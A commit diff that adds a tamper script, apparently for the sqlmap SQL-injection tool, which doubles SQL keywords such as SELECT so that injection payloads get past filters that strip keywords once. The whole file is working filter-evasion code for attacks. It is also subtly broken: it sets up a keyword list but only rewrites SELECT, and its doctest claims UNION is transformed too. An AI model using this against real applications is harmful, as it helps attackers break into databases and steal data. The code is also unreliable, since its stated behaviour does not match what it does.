Added a tamper script (unstripkeywords)

tamper/unstripkeywords.py

@@ -0,0 +1,50 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from re import finditer, search
+from os import environ
+from math import ceil, floor
+from lib.core.compat import xrange
+from lib.core.data import kb
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.LOW
+
+def dependencies():
+    pass
+
+def tamper(payload, **kwargs):
+    """
+    Transforms keywords ('SELECT') so they are valid when stripped once ('SELSELECTECT')
+
+    Tested against:
+        * Microsoft SQL Server 2005
+        * MySQL 4, 5.0 and 5.5
+        * Oracle 10g
+        * PostgreSQL 8.3, 8.4, 9.0
+
+    Notes:
+        * Useful to bypass weak filters based on keywords stripping.
+
+    >>> tamper('SELECT id FROM users UNION SELECT NULL')
+    'SELSELECTECT id FROM users UNUNIONION SELSELECTECT NULL
+    """
+
+    retVal = payload
+    keywords = ['SELECT', 'UNION', 'WHERE', 'SUBSTR'];
+
+    if 'UNSTRIP_KEYWORDS' in environ:
+        keywords = environ['UNSTRIP_KEYWORDS'].upper().split(',')
+
+    if payload:
+        for match in finditer(r"\b[A-Za-z_]{2,}\b", retVal):
+            word = match.group()
+
+            if (word.upper() == 'SELECT' and search(r"(?i)[`\"'\[]%s[`\"'\]]" % word, retVal) is None):
+                retVal = retVal.replace(word, word[:int(floor(len(word)/2))] + word + word[int(ceil(len(word)/2)):])
+
+    return retVal